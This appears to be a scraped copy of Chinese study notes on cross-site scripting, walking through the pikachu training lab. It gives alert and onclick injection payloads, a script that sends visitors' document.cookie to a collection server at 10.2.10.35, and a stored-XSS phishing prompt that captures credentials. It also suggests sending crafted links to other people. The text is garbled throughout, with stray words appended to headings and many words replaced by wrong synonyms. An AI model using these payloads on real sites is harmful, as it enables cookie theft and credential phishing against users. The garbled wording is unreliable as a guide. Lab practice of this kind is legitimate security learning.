XSS跨站脚本攻击学习笔记(pikachu)

颓废了几天,该好好努力了。php

 

XSS概述前端

 

XSS漏洞是web漏洞中危害较大的漏洞,是一种发生在web前端的漏洞,因此危害的对象也主要是前端用户,XSS能够用来进行钓鱼攻击,前端js挖矿,获取用户cookie。甚至能够结合浏览器自身的漏洞对用户主机进行远程控制等。web

 

XSS漏洞的常见类型数据库

 

1.反射型,交互的数据通常不会存在在数据库里面,一次性,所见即所得,通常出如今查询类页面等。浏览器

2.存储型交互的数据会被存在数据库里面,永久性存储,通常出如今留言板,注册等页面。服务器

3.DOM型不与后台服务器产生数据交互,是一种经过DOM操做前端代码输出的时候产生的问题,一次性,也属于反射型。cookie

 

XSS漏洞造成的缘由dom

 

造成XSS漏洞的主要缘由是程序对输入和输出的控制不够严格,致使”精心构造”的脚本输入后,再输到前端时被浏览器看成有效代码解析执行从而产生危害xss

 

XSS漏洞测试流程工具

 

1, 在目标站点上找到输入点,好比查询接口,留言板等

2, 输入一组“特殊字符+惟一识别字符”,点击提交后,查看返回的源码,是否有作对应的处理

3, 经过搜索定位到惟一字符,结合惟一字符先后的语法确认是否能够构造执行js的条件(构造闭合)

4, 提交构造的脚本代码,看是否能够成功执行,若是成功执行则说明纯在XSS漏洞

 

Tips:

  1. 通常查询接口容易出现反射型XSS,留言板容易出现存储型XSS
  2. 因为后台可能存在过滤措施,构造的script可能会被过滤掉,而没法生效,或者环境限制了执行(浏览器);
  3. 经过变化不一样的script,尝试绕事后台过滤机制

 

下面开始靶场的练习

 

反射型XSS(get)

 

按照咱们的测试流程,先输入一些可能会被过滤的字符和惟一字符

 

 

 

 

 

咱们查看一下源代码

 

 

 

经过查找发现咱们的惟一字符

 

发现没有任何的过滤,那么咱们就能够构造一个xss的弹窗(不只限于弹窗,这里只是作演示)

 

<script>alert('xss')</script>

 

 

 

发现前端限制了咱们的输入长度

 

咱们能够在开发者工具中进行修改

 

 

 

这样咱们就能够插入咱们的payload了

 

 

 

存储型XSS

 

 

通常都是在留言板内,把内容保存在数据库,这样每次访问这个页面就会触发xss

 

这个很少说,和反射型就这个区别

 

DOM型XSS

 

 

 

 

 

定义一个str来接收id为text的值

 

而后再把str写进a标签里面给了id为dom的div

 

这样咱们能够构造把a标签添加属性的xss

 

' onclick = "alert('xss')">

 

给a标签一个单击的属性,里面写入xss代码

 

dom型xss-x

 

其实也是同样的

 

 

 

window.location.search获取url?后面的部分

 

而后进行url解码

 

获取text后面的内容

 

而后再发送给让往事都随风吧

 

' onclick = "alert('xss')">

 

当咱们点击这句话的时候也同样会触发咱们的xss代码

 

get型XSS获取cookie

 

pikachu有自带的XSS测试平台

 

 

 

 

 

 

配置登录之后

 

进入cookie收集

 

目前当咱们尚未进行测试的时候,是为空的,

 

当咱们构造一个xss代码

 

<script>document.location = ‘http://10.2.10.35/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

 

跳转到咱们接收cookie的页面,而且把cookie带入,构成一个完整的get请求

 

查看cookie.php文件,

 

 

 

这里改为你想要跳转的页面,伪造出你这个页面没问题

 

以后咱们就能够把构造好的页面发送给别人

 

让别人点击之后查看效果

 

 

 

反射型xss(post)

 

我我的的理解是,在被攻击的用户打开某个存在xss漏洞的页面的时候,在已经登录的状态下又点开了攻击者发来的连接,连接给存在xss漏洞的页面提交了post请求,JS获取到了cookie而后返回到攻击者的接口

 

首先先看靶场

 

 

经过提示咱们知道帐号密码是admin/123456

 

XSS钓鱼攻击(存储型XSS)

 

当打开咱们带有钓鱼xss的网页时,会弹出一个进行身份验证的窗口,让你输入帐号密码,帐号密码就会发往咱们的XSS后台

相关文章
相关标签/搜索